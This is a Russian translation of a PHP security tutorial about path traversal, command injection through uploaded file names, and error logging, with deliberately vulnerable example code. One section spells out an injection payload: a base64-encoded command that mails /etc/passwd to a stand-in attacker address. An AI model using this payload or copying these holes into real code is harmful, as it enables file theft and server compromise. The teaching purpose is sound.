PHP

Безопасность в PHP

В двух предыдущих моих статьях (Common Style Mistakes, part one и Common Style Mistakes, part two) я рассказал о некоторых распространённых ошибках, которых в PHP нужно избегать, ибо они затрудняют чтение кода и делают скрипт более "склонным" к багам. Так вот сегодня мы перейдём к главному блюду и поговорим о безопасности в PHP.
Насколько важно задумываться о безопасности

Самый простой способ (хотя им чаще всего и пренебрегают) исключить всякую возможность скомпрометировать ваш код - задуматься о таких возможностях ещё на стадии его написания. Очень важно отдавать себе отчёт о том, что и ваш код является частью системы защиты.

Приведём в качестве примера небольшую функцию, которая призвана облегчить жизнь бедному девелопперу, который из PHP-скрипта пишет в большое количество текстовых файлов:
<?php
function write_text($filename, $text="") {
    static $open_files = array();
    
    // если filename равен null, то закрываем все открытые файлы
    if ($filename == NULL) {
        foreach($open_files as $fr) {
            fclose($fr);
        }
        return true;
    }
    $index = md5($filename);
    
    if(!isset($open_files[$index])) {
        $open_files[$index] = fopen($filename, "a+");
        if(!$open_files[$index]) return false;
    }
    fputs($open_files[$index], $text);
    return true;
}
?>

Эта функция по умолчанию принимает два параметра: имя файла и текст, который необходимо записать в только что указанный файл. Сначала функция проверяет, не был ли файл уже открыт ранее, и если файл открыт, будет использован старый указатель. В противном случае будет просто открыт указатель на файл. В любом случае далее последует запись текста. Если переданное в функцию имя файла равно NULL, то все открытые указатели на файлы будут закрыты. Ниже - пример использования.

Если запись в файлы разработчик будет производить с помощью этой функции, то его код станет более прозрачным и понятным. Допустим теперь, что функция эта лежит в отдельном файле, который включается в скрипты, которым она нужна. Вот один из таких скриптов, называется он quotes.php:
<form action="<?=$_SERVER['PHP_SELF']?>" method="get">
Выберите тему высказывания:
<select name="quote" size="3">
<option value="funny">Юмор</option>
<option value="political">Политика</option>
<option value="love">О любви</option>
</select><br />
The quote: <input type="text" name="quote_text" size="30" />
<input type="submit" value="Save Quote" />
</form>
</body></html>

<?php
include_once('write_text.php');

$filename  = "/home/web/quotes/{$_GET['quote']}";
$quote_msg = $_GET['quote_text'];

if (write_text($filename, $quote_msg)) {
    echo "<center><hr><h2>Высказывание сохранено!</h2></center>";
} else {
    echo "<center><hr><h2>Ошибка при записи высказывания</h2></center>";
}
write_text(NULL);
?>

Итак, как вы видите, разработчик использовал написанную функцию write_text() при создании системы, позволяющей пользователям отправлять их любимые высказывания, которые затем сохраняются в текстовые файлы. К сожалению, хотя разработчик об этом и не догадывается, этот скрипт может быть использован злоумышленником для обхода системы защиты на web-сервере.

Возможно, сейчас вы чешете в затылке и пытаетесь придумать, как такой маленький и вроде бы безобидный скрипт может представлять такую опасность. Ладно, вместо того, чтобы оставить вас париться и догадываться самим, предлагаю рассмотреть приведённый ниже URL (не забываем, что файл со скриптом называется quotes.php):

http://www.somewhere.com/fun/quotes.php?quote=different_file.dat"e_text=garbage+data

Что же будет, если сервер получит запрос с таким URL? Ну, несомненно, скрипт quotes.php будет выполнен; но вместо записи высказывания в один из трёх предусмотренных файлов создастся новый файл different_file.dat [другой_файл.dat], и в него будет произведена запись строки garbage data [всякий хлам]. Очевидно, не то, для чего писался скрипт. На самом деле, злоумышленник мог бы даже создать новую учётную запись, получив в Unix доступ к файлу с паролями, указав в параметре ../../../etc/passwd (хотя это возможно при условии, что сервер исполняет скрипты на правах суперпользователя; если это условие выполняется, то вам надо немедленно прекратить чтение и побыстрей исправить такое положение дел). Наверное, самый серьёзный вред, который можно нанести с помощью данного скрипта, - это запись и исполнение различных PHP-скриптов, если есть директория /home/web/quotes/ доступна через запрос к серверу. Фантазия злоумышленников бесконечна.

Существует несколько решений. Если файлов немного, используйте ассоциативный массив для хранения их имён. Если запрашиваемый файл есть в нашем массиве, то писать можно. Или ещё можно отрезать из запрашиваемого имени все не цифро-буквенные символы, исключив тем самым проникновение разделителей для директорий. Или, например можно проверять расширение файла, чтобы убедиться, что сервер не помчится его исполнять.

Мораль проста. Как разработчику, вам нужно задумываться не только о том, что сделает ваш скрипт в штатных условиях. Что случится, если форма пришлёт некорректные данные? Есть ли у злоумышленника возможность изменить поведение скрипта? Какие меры принимаются для отражения подобных атак? Система защиты вашего сервера и скриптов как всегда оценивается по самому слабому звену; так что стОит озаботиться поиском возможных брешей, иначе это сделают за вас.
Типичные ошибки, связанные с безопасностью

Чтобы задать несколько направлений для движения ваших мыслей, приведу краткий и далеко не полный перечень ошибок в коде или в администрировании, наличие которых может скомпрометировать систему защиты:
Ошибка 1. Когда мы доверяем входящим данным

Никогда нельзя доверять данным, пришедшим из внешних источников, это и станет основной темой моих рассуждений о безопасности применительно к PHP-скриптам. Неважно, пришли ли эти данные из формы, из локально расположенного файла или из переменной окружения, ничего не принимайте на веру. Все пользовательские данные должны быть проверены и отформатированы, так, чтобы мы могли быть уверены в их безвредности.
Ошибка 2. Когда мы храним уязвимые данные в дереве web-сервера

Все уязвимые данные должны храниться в отдельном от скрипта файле и в директории, недоступной через запрос к web-серверу. Когда возникает необходимость в этих данных, файл просто подключается к скрипту посредством require() или include().
Ошибка 3. Когда мы игнорируем рекомендации по безопасности

В руководстве к PHP [то есть в мануале] различным мерам безопасности при написании и использовании PHP-скриптов посвящён целый раздел. И в мануале (почти) всегда просто и понятно описаны конкретные ситуации, когда существует риск компрометации системы защиты, а также приведены методы минимизации подобного риска. Опять же, именно на разработчиков и администраторов системы, не уделивших должного внимания тому или иному аспекту безопасности, полагаются злоумышленники в своих действиях, направленных на получение доступа к системе. Внимательное прочтение предупреждений из мануала и соответствующие меры значительно сокращают шансы злоумышленников принести какой-либо значительный вред вашей системе.

Никогда нелишне ещё раз напомнить вам, как важно задумываться о защите ваших серверов от злоумышленников. Отныне вам нужно смотреть на ваш код в совершенно новом свете. Немного опыта, и вы научитесь опознавать все потенциальные бреши в защите ещё до того, как вы реализуете их в своём коде. В следующей статье я расскажу о ещё нескольких способах компрометации системы безопасности в PHP-скриптах, а также о методах минимизации подобных рисков при разработке.

Джон Коггсхол (John Coggeshall): специалист и один из создателей PHP. Недосыпания по причине PHP начались около пяти лет назад.

В PHP предусмотрено несколько средств для выполнения системных вызовов. Ну а если подробнее, то system(), exec(), passthru(), popen() и оператор обратная кавычка [backtick] (`) позволяют выполнять команды операционной системы непосредственно из PHP-скрипта. И каждая из перечисленных функций при неадекватном использовании может предоставить злоумышленнику огромные возможности исполнения системных команд на вашем сервере. Как это было и в случае с доступом к файлам, большинство дыр появляется, когда текст команды составляется на основе небезопасных данных, полученных со стороны.
Пример скрипта, содержащего системный вызов

Представим себе скрипт, который получает файл, загруженный на сервер по http [upload-файл], сжимает с помощью zip, а потом перемещает его в определённую директорию (по умолчанию это /usr/local/archives/). Вот код:
<?php
    $zip        = "/usr/bin/zip";
    $store_path = "/usr/local/archives/";

    if (isset($_FILES['file'])) {
        $tmp_name = $_FILES['file']['tmp_name'];
        $cmp_name = dirname($_FILES['file']['tmp_name']) .
            "/{$_FILES['file']['name']}.zip";
        $filename = basename($cmp_name);

        if (file_exists($tmp_name)) {
            $systemcall = "$zip $cmp_name $tmp_name";
            $output     = `$systemcall`;

            if (file_exists($cmp_name)) {
                $savepath = $store_path.$filename;
                rename($cmp_name, $savepath);
            }
        }
    }
?>

<form enctype="multipart/form-data" action="<?php
    php echo $_SERVER['PHP_SELF'];
?>" method="POST">
<input type="HIDDEN" name="MAX_FILE_SIZE" value="1048576">
File to compress: <input name="file" type="file"><br />
<input type="submit" value="Compress File">
</form>

Несмотря на кажущуюся прозрачность скрипта, злоумышленник может использовать его в своих целях аж несколькими способами. Самое опасное место - там, где мы исполняем команду сжатия файла (обратная кавычка), а именно следующие строки:
<?php
if (isset($_FILES['file'])) {
    $tmp_name = $_FILES['file']['tmp_name'];
    $cmp_name = dirname($_FILES['file']['tmp_name']) .
        "/{$_FILES['file']['name']}.zip";

    $filename = basename($cmp_name);

    if (file_exists($tmp_name)) {
        $systemcall = "$zip $cmp_name $tmp_name";
        $output = `$systemcall`;

Как обмануть скрипт и заставить его исполнять различные shell-команды

Итак, безобидность скрипта обманчива: любой пользователь, который может upload-ить файл, может и исполнять любые команды! Эта дыра в безопасности обязана своим появлением тому, как задаётся значение переменной $cmp_name. Поскольку в данном конкретном случае разработчик захотел, чтобы имя сжатого файла содержало имя upload-файла (плюс расширение .zip), было использовано значение переменной $_FILES['file']['name'] (содержащей имя upload-файла, каким оно было на клиентской машине). И вот именно в этом случае злоумышленник может полностью изменить поведения скрипта: он может загрузить файл с именем, содержащим специальные символы, интерпретируемых ОС. Например, что случится, если пользователь создаст пустой файл таким манером (из командной строки UNIX)?
[user@localhost]# touch ";php -r '\$code=base64_decode(\\
    \"bWFpbCBiYWR1c2VyQHNvbWV3aGVyZS5jb20gPCAvZXRjL3Bhc3N3ZA==\\\");
system(\$code);';"

Эта команда создаст файл с таким именем:
;php -r '$code=base64_decode(
\"bWFpbCBiYWR1c2VyQHNvbWV3aGVyZS5jb20gPCAvZXRjL3Bhc3N3ZA==\");
system($code);';

Странное имя, да? Правильно, это "имя" похоже на текст некой команды CLI версии PHP; команда эта выполняет следующий код:
<?php
$code=base64_decode("bWFpbCBiYWR1c2VyQHNvbWV3aGVyZS5jb20gPCAvZXRjL3Bhc3N3ZA==");
system($code);
?>

Если вы, из любопытства, выведете значение переменной $code, то увидите, что оно равно mail baduser@somewhere.com < /etc/passwd. И если пользователь загрузит этот файл, и наш PHP-скрипт займётся им, то когда скрипт начнёт выполнять системный вызов для сжатия файла, то на самом деле он выполнит следующую команду:
/usr/bin/zip /tmp/;php -r
'$code=base64_decode(
    \"bWFpbCBiYWR1c2VyQHNvbWV3aGVyZS5jb20gPCAvZXRjL3Bhc3N3ZA==\");
system($code);';.zip /tmp/phpY4iatI

Вот и всё, то, что вы сейчас увидели, уже не одна, а три команды! Как только оболочка проинтерпретирует точку с запятой (;), означающей (поскольку не заключена в кавычки) конец одной команды и начало другой, тогда PHP-функция system() на самом деле выполнит это:
[user@localhost]# /usr/bin/zip /tmp/
[user@localhost]# php -r
'$code=base64_decode(
    \"bWFpbCBiYWR1c2VyQHNvbWV3aGVyZS5jb20gPCAvZXRjL3Bhc3N3ZA==\");
system($code);'
[user@localhost]# .zip /tmp/phpY4iatI

Как вы видите, вроде бы безобидный PHP-скрипт предоставил возможность исполнения различных системных команд, в том числе и исполнение других PHP-скриптов! Конечно, этот пример сработает только на системах, где пользователь, от имени которого запущен web-сервер, имеет в своей PATH переменной CLI версию PHP (а не должен бы). Однако на том же принципе можно построить и другие способы получения подобного результата.
Как защититься от атак, связанных с системными вызовами

Главное здесь, как и раньше, никогда не доверять данным из внешних источников, какой бы ни был контекст их использования. Возникает вопрос, как же избежать подобных ситуаций при работе с системными вызовами (отказ от самих системных вызовов здесь не рассматривается). Для борьбы с этим недугом PHP предлагает две функции: escapeshellarg() и escapeshellcmd().

Функция escapeshellarg() предназначена для устранения или какого-либо игнорирования потенциально опасных символов в полученных от пользователя данных. Результат работы функции может использоваться как аргумент к системной команде (в нашем случае это zip). Синтаксис функции такой:
escapeshellarg($string)

где $string - это строка для "зачистки", а возвращаемое значение и есть "зачищенная" строка. Функция заключает строку в аргументе в одинарные кавычки и дезактивирует (то есть предваряет слэшем) все одинарные кавычки, уже содержащиеся в строке. В нашем примере, если мы добавим перед системным вызовом две строки:
<?php
$cmp_name = escapeshellarg($cmp_name);
$tmp_name = escapeshellarg($tmp_name);
?>

то мы исключим риск того, что аргумент, передаваемый в системную команду, будет проинтерпретирован только как аргумент, и никак иначе, каковы бы не были данные, предоставленные пользователем.

Функция escapeshellcmd() похожа на свою коллегу с тем исключением, что при "зачистке" будут дезактивированы символы, имеющее специфическое значение для операционной системы. В отличие от escapeshellarg() эта функция не будет как-то особенно обрабатывать строки с пробелами. Например, если мы применим escapeshellcmd() для такой строки:
$string = "'hello, world!';evilcommand"

то она станет такой:
\'hello, world\'\;evilcommand

Это может привести к нежелательному результату, если строка будет использована в качестве аргумента к системной команде, поскольку интерпретатор будет воспринимать нашу строку как два аргумента, \'hello и world\'\;evilcommand, соответственно. Итак, если данные, предоставленные пользователем, будут использоваться в качестве части списка аргументов, то функция escapeshellarg() предпочтительнее.
Защита upload-файлов

До данного момента я говорил только о том, как злоумышленники могут компрометировать системные вызовы в PHP-скриптах. Однако в нашем примере есть ещё одна потенциальная дыра в безопасности, и о ней также стОит упомянуть. Вернёмся к нашему коду и изучим внимательно эти строки:
<?php
$tmp_name = $_FILES['file']['tmp_name'];
$cmp_name = dirname($_FILES['file']['tmp_name']) .
    "/{$_FILES['file']['name']}.zip";

$filename = basename($cmp_name);
if (file_exists($tmp_name)) {
?>

Итак, потенциально опасный код находится в самой последней строке приведённого отрезка. В ней мы проверяем, существует ли upload-файл (который хранится под временным именем, $tmp_name). Опасность здесь исходит не от самого PHP, а от возможности того, что файл под именем $tmp_name вовсе не был загружен пользователем, а как-либо указывает на файл, который злоумышленник хочет заполучить, ну скажем, /etc/passwd. Чтобы избежать подобных ситуаций, PHP предлагает функцию is_uploaded_file(). Работа этой функции похожа на действие функции file_exists() за тем лишь исключением, что в данном случае проводится дополнительная проверка того, был ли данный файл действительно загружен с клиентской машины.

Поскольку, в большинстве случаев вам нужно куда-либо переместить upload-файл, то в дополнение к функции is_uploaded_file() в PHP есть функция move_uploaded_file(). Работает она также, как и rename() при перемещении файлов за тем лишь исключением, что в данном случае перед исполнением проводится дополнительная проверка того, что перемещаемый файл действительно был загружен с клиентской машины. Синтаксис функции move_uploaded_file() такой:
move_uploaded_file($filename, $destination);

При вызове эта функция переместит upload-файл $filename в $destination и возвратит значение типа Boolean, которое проинформирует об успешном или неуспешном завершении операции.

Злоумышленнику, чтобы использовать ваш код в своих целях, нужно сначала определить его слабые места. Это достигается зондированием вашего приложения и сбором как можно большего количества информации о нём. Самый распространённый и эффективный способ - это попытки вызвать ошибки приложения.. Предположим, например, что злоумышленник ввёл некорректные данные в поле login-формы и спровоцировал следующее стандартное сообщение об ошибке в PHP:
 Notice: Undefined index: content in /usr/local/apache/htdocs/index.php on line 22 

Что нам может поведать это сообщение? Очевидно, то, что в коде есть массив с индексом content, неопределённый в строке 22 файла index.php. Благодаря этому сообщению, у злоумышленника есть подсказка о потенциальной дыре, через которую можно замусорить данные приложения. Может быть, это неопределённый индекс где-нибудь в $_GET или в $_POST. В принципе, смоделировать разные контексты и определив, как меняется при этом номер строки, где возникает ошибка, вы можете даже воссоздать общую идею работы скрипта. Кроме того, вид сообщения может также предоставить более подробную информацию о расположении файлов, с которыми работает скрипт (если мы работаем с функциями файловой системы), формат запросов (если работаем с базами данных), и прочие данные. Начнём с того, что обычно пользователям просто не нужно получать сообщение об ошибке со всеми подробностями, если что-то пошло не так. Ну а при определённых обстоятельствах такие подробности могут стать дырой в системе безопасности.

Первый шаг в решении этой проблемы - всевозможные меры по сокращению появления ошибок в скриптах. В каждом уважающем себя PHP-приложении все переменные должны быть определены, или, по крайней мере, проверены isset()-ом, если речь идёт о суперглобальных переменных. Однако сколько бы не было продумано и предусмотрено в вашем приложении, предполагать, что вы учли любые обстоятельства, нереалистично. Поэтому, в "охраняемых" приложениях должны быть реализованы системы обработки и регистрации ошибок.
Механизм регистрации ошибок в PHP

Смысл систем обработки и регистрации ошибок, по крайней мере, применительно к вопросам безопасности, - это отказывать злоумышленникам в доступе к информации о вашем приложении, но при этом предоставлять её разработчику. Правильная система регистрации ошибок запишет попытки скомпрометировать систему защиты вашего приложения и предоставит вам сведения о том, как и где надо усилить меры защиты.

Система регистрации ошибок в PHP может быть настолько простой или сложной, насколько вы пожелаете. В самом PHP есть выбор из нескольких встроенных механизмов обработки и регистрации ошибок. Например, PHP по умолчанию все ошибки выполнения скрипта выдаёт в браузер, но может быть сконфигурирован так, чтобы ошибки регистрировались, но не отображались. Это поведение контролируется из файла настройки php.ini директивами log_errors и display_errors. Включайте и выключайте сообщения об ошибках в зависимости от ваших программерских нужд. Обычная практика - это отображение ошибок без их регистрации на стадии разработки и отладки приложения. Для готового продукта всё наоборот: регистрация без отображения.

Как сообщения об ошибках PHP вываливаются в браузер, вы видели, а где PHP ведёт лог, если регистрация ошибок включена? Поведение механизма регистрации ошибок в PHP контролируется другой директивой, error_log. Значение может быть выставлено на имя файла, или на строку "syslog", или вовсе не выставлено (по умолчанию). В последнем случае, то есть когда значение error_log в php.ini не выставлено, то логи PHP ведутся за счёт средств web-сервера (например, Apache-вский error-log). Если значение выставлено на имя файла, то PHP будет писать лог в указанный файл, пока будут позволять системные разрешения. Если значение выставлено на ключевое слово syslog, то лог PHP будут вестись средствами журналирования операционной системы. Для UNIX-систем это стандартный системный журнал
, для систем Windows NT и XP это журнал событий [event log].

PHP сам позаботится о регистрации ошибок, если вы используете встроенный обработчик ошибок, однако для своего обработчика (о нём речь пойдёт далее в статье) вам придётся всё сделать своими руками. Для подобных деяний PHP предлагает функцию error_log() со следующим синтаксисом:
[PHP] error_log($message [, $message_type [, $dest [, $extra_info]]]); 

В зависимости от выставленного значения необязательного параметра $message_type (ноль по умолчанию), произойдёт одно из нижеперечисленного:

если $message_type равен нулю, то сообщение об ошибке $message будет записано в лог, указанный в директиве конфигурации error_log.
если $message-type равен 1, то сообщение об ошибке $message будет отправлено по электронной почте на адрес, указанный в параметре $dest. Любые дополнительные почтовые заголовки можно указать в параметре $extra_info.
если $message_type равен 3, то сообщение об ошибке $message будет записано в файл, указанный в параметре $dest.

Примечание: Вы наверняка заметили, что для значения $message_type равного 2 поведение не предусмотрено. Это рудимент от PHP версии 3, где удалённая отладка поставлялась в стандартном релизе как его часть. Для PHP4 это уже не так. Функцию error_log() можно использовать для ведения логов в любой части приложения, но, как правило, она применяется как часть своего обработчика ошибок. Примеры - в мануале.
Классификация ошибок в PHP

Понимание классификации ошибок PHP, почти также важнО как правильная настройка системы регистрации ошибок. Данная модель определяет, какие типы ошибок регистрируются, как и когда происходит регистрация. Чтобы осмыслить саму модель классификации, вам нужно знать, какие типы ошибок вы можете получить в PHP, и каково значение каждой из них. Эти знания вы можете почерпнуть из мануала или из представленного ниже списка:

E_ERROR означает, что в самом PHP или в одном из его расширений возникла серьёзная внутренняя проблема (например, невозможность выделить память).
E_WARNING обычно выдаётся с целью привлечь внимание к потенциальной ошибке в коде, из-за которой он возможно будет работать не так, как задумано. Пример: какой-либо встроенной функции передаётся скалярное значение вместо ожидаемого составного, например массива.
E_NOTICE - это наименее значительная встроенная ошибка PHP. Этот тип почти никогда не означает, что приложение работает неправильно. Сообщения об ошибках этого типа призвано предупредить разработчика о таких вещах, как использование переменных до инициализации.
E_CORE_ERROR по фатальности равно E_ERROR, но выдаётся только при запуске ядра PHP.
E_CORE_WARNING - не фатальный коллега E_CORE_ERROR и схож с E_WARNING. выдаётся только при запуске ядра PHP.
E_COMPILE_ERROR означает серьёзную ошибку во время компиляции движком Zend Scripting Engine.
E_COMPILE_WARNING предупреждение, нефатально, как и E_WARNING, генерируется во время компиляции движком Zend Scripting Engine.
E_USER_ERROR зарезервирован исключительно для использования с функцией trigger_error() (см. далее в статье). По умолчанию обработка та же, что и у E_ERROR: сообщение об ошибке и прекращение исполнения.
E_USER_WARNING зарезервирован исключительно для использования с функцией trigger_error().По умолчанию обработка та же , что и у E_WARNING.
E_USER_NOTICE зарезервирован исключительно для использования с функцией trigger_error(). В отличие от E_NOTICE, который игнорируется по умолчанию, PHP выдаст сообщение о E_USER_NOTICE пользователю.

Устанавливаем режим вывода сообщений об ошибках

Директива конфигурации error_reporting определяет, какие сообщения об ошибках пишутся в лог или выбрасываются в браузер, когда оные ошибки случаются. Эта директива представляет собой "битовое поле", а это означает, что типы сообщений можно как угодно комбинировать с помощью логических операторов AND, OR, и NOT.В файле php.ini символ амперсанда (&) означает AND, символ конвейеризации (|) означает OR, а тильда (~) означает NOT. Таким образом, чтобы отображались или писались в лог только серьёзные ошибки, ваша директива примет следующий вид:
error_reporting = E_ERROR | E_CORE_ERROR | E_COMPILE_ERROR | E_USER_ERROR

Помимо стандартных типов ошибок директива error_reporting принимает специальный тип, E_ALL, представляющий все возможные типы ошибок сразу, то есть как будто вы OR-ами соединила все стандартные типы. Приведённая ниже директива заставляет отображать или писать в лог все типы ошибок, кроме ошибок из коллекции E_USER:
error_reporting = E_ALL & ~E_USER_ERROR & ~E_USER_WARNING & ~E_USER_NOTICE

По умолчанию директива error_reporting сообщает в браузер или лог обо всех ошибках, кроме E_NOTICE.

Вне зависимости от конфигурации PHP в части отлова ошибок, есть несколько способов контроля ситуации во время исполнения скрипта. Самый простой способ - использовать оператор подавления сообщений, @. Поставьте @ перед каким-либо выражением и PHP втихомолку проигнорирует ошибку, если таковая случится при вычислении выражения. Например:
<?php
echo @$myvar;
?>

не выкинет сообщение класса E_NOTICE, даже несмотря на то, что $myvar неопределена. Ошибку эту PHP проигнорирует и не напишет ничего.

Другой способ изменить настройку управления ошибками в PHP - это использовать функцию error_reporting(). Данная функция непосредственно изменяет "внутреннее" значение конфигурационной директивы error_reporting. Синтаксис функции таков:
 error_reporting([$error_value]) 

где факультативный параметр $error_value - это новое значение битового поля. В PHP определены константы для всех приведённых выше классов ошибок, и из них можно составить комбинацию с помощью логических операторов PHP. Результатом работы следующей инструкции станет то, что PHP будет сообщать только о серьёзных ошибках, как и в одном из предыдущих примеров:
<?php
error_reporting(E_ERROR | E_CORE_ERROR | E_COMPILE_ERROR | E_USER_ERROR);
?>

Независимо от того, какое значение будет передано в качестве параметра в error_reporting(), на выходе мы всегда будем иметь целое число, равное ранее установленному значению директивы error_reporting. Такое поведение позволяет вам применить особый режим вывода сообщений об ошибках для небольшой части вашего приложения и с лёгкостью восстановить предыдущий режим:
<?php
$old_error = error_reporting(0); /* Сообщения об ошибках больше не генерируем */
/* тут какой-то код */
error_reporting($old_error); /* восстанавливаем предыдущий режим вывода сообщений об ошибках. */
?>

Обработчики ошибок, определяемые программистом

Помимо встроенных средств обработки ошибок PHP также позволяет вам написать ваш собственный обработчик. Определённый вами лично обработчик ошибок позволяет вам осуществлять полный контроль над тем, как ваше web-приложение будет реагировать на ошибки, сгенерированы ли они PHP или сброшенные функцией trigger_error(). Чтобы задействовать определённую вами обработку ошибок, необходимо определить следующим способом:
<?php
function my_handler($error_code, $error_msg [, $error_file [,
$error_line [, $vars]]]) {
    /* Собственно реализация обработчика */
}
?>

Как описано в нашем примере, обработчик ошибок должен принимать параметры $error_code и $error_msg; первый - это класс ошибки (например, E_ERROR), а второй - это сообщение, привязанное к данному классу. Ваш обработчик ошибок способен принимать до трёх дополнительных параметров: $error_file, $error_line, и $vars. Первые два - это PHP-файл и строка в нём, где ошибка имела место. Последний параметр, $vars, представляет собой ассоциативный массив, в котором содержатся имя и значение каждой переменной, которые были в области видимости на момент возникновения ошибки.

Создав такую функцию, её надо зарегистрировать в PHP как действующий обработчик ошибок. Для этого используйте функцию set_error_handler(), синтаксис её таков:
set_error_handler($func_name) 

где $func_name - это строка с именем определённой вами функции (то есть, для моего примера, my_handler). Эта функция вернёт название предыдущего обработчика, то есть при желании можно это название сохранить и потом вернуть всё на место. При использовании определённого вами обработчика ошибок, держите в голове следующие моменты:

Действие вашего обработчика не распространяется на "фатальные" ошибки. Ваш обработчик будет вызываться только для ошибок класса E_WARNING, E_NOTICE и коллекции E_USER. Для всех прочих ошибок будет вызываться встроенный обработчик, как если бы вы вовсе не определяли свой альтернативный обработчик.
Если задействован обработчик, определённый программистом, PHP будет вызывать его при возникновении любой из вышеперечисленных ошибок, конфигурационная директива error_reporting игнорируется. Какая-либо реакция на error_reporting() определяется также в обработчике.
Если только исполнение скрипта не прерывается в обработчике с помощью die() или exit(), скрипт продолжит работу, невзирая на класс ошибки. Прекращение работы скрипта при необходимости определяется в обработчике.

Последняя функция на сегодня, trigger_error(). Эта функция используется для генерации ошибки, определённой разработчиком. Синтаксис функции таков:
 trigger_error($msg [, $error_code]) 

где $msg - это строка с сообщением и описанием об ошибке, а факультативный параметр $error_code - класс ошибки из коллекции E_USER. Если второй параметр опускается, PHP автоматически применяет E_USER_NOTICE. Функция trigger_error() предназначена для использования в связке с обработчиком, определённым программистом; однако если такой обработчик не был определён, PHP среагирует на ошибку через стандартный обработчик.
В качестве резюме

В завершение этой мини-серии, посвящённой некоторым аспектам безопасности в PHP, я хотел бы ещё раз обозначить тезисы трёх статей. При написании web-приложения на PHP (да и любых других приложений на любом же языке), самое большее, что вы можете сделать для повышения уровня безопасности в вашем приложении - это держать в голове все возможные пути компрометации оной безопасности. Используются ли системные вызовы? Что делается для их защиты от непредусмотренного использования? Как приложение будет реагировать на некорректные данные от пользователя? Какие меры предусмотрены для фильтрации данных, полученных от пользователя? При разработке приложения вы должны всегда задавать себе все эти вопросы.

В конечном счёте, любой текст (включая тот, что у вас перед глазами) может только лишь чему-то научить. Вы получили некоторые начальные знания о ведении логов и проверке данных на корректность, вам же и решать, будете ли вы применять эти знания в разработке ваших приложений. Тщательность и внимательное отношение к каждой детали - лучшие инструменты разработчика при создании системы защиты для приложения. Конечно, злоумышленники используют стандартные средства, чтобы заставить ваше приложение повести себя непредвиденным образом. Однако сама природа злого умысла говорит о том, что всегда найдётся то, чего вы не предусмотрели. А раз найдено, значит использовано.

В моей следующей статье я немного сбавлю обороты и от безопасности перейду к обзору различных инструментов для работы с данными и управления ими. Итак, до встречи, счастливо покодить!

Джон Коггсхол (John Coggeshall): специалист и один из создателей PHP. Недосыпания по причине PHP начались около пяти лет назад.
Добавлено: 17 Августа 2013 03:44:30 Добавил: Андрей Ковальчук Нравится 0
Добавить
Комментарии:
Нету комментариев для вывода...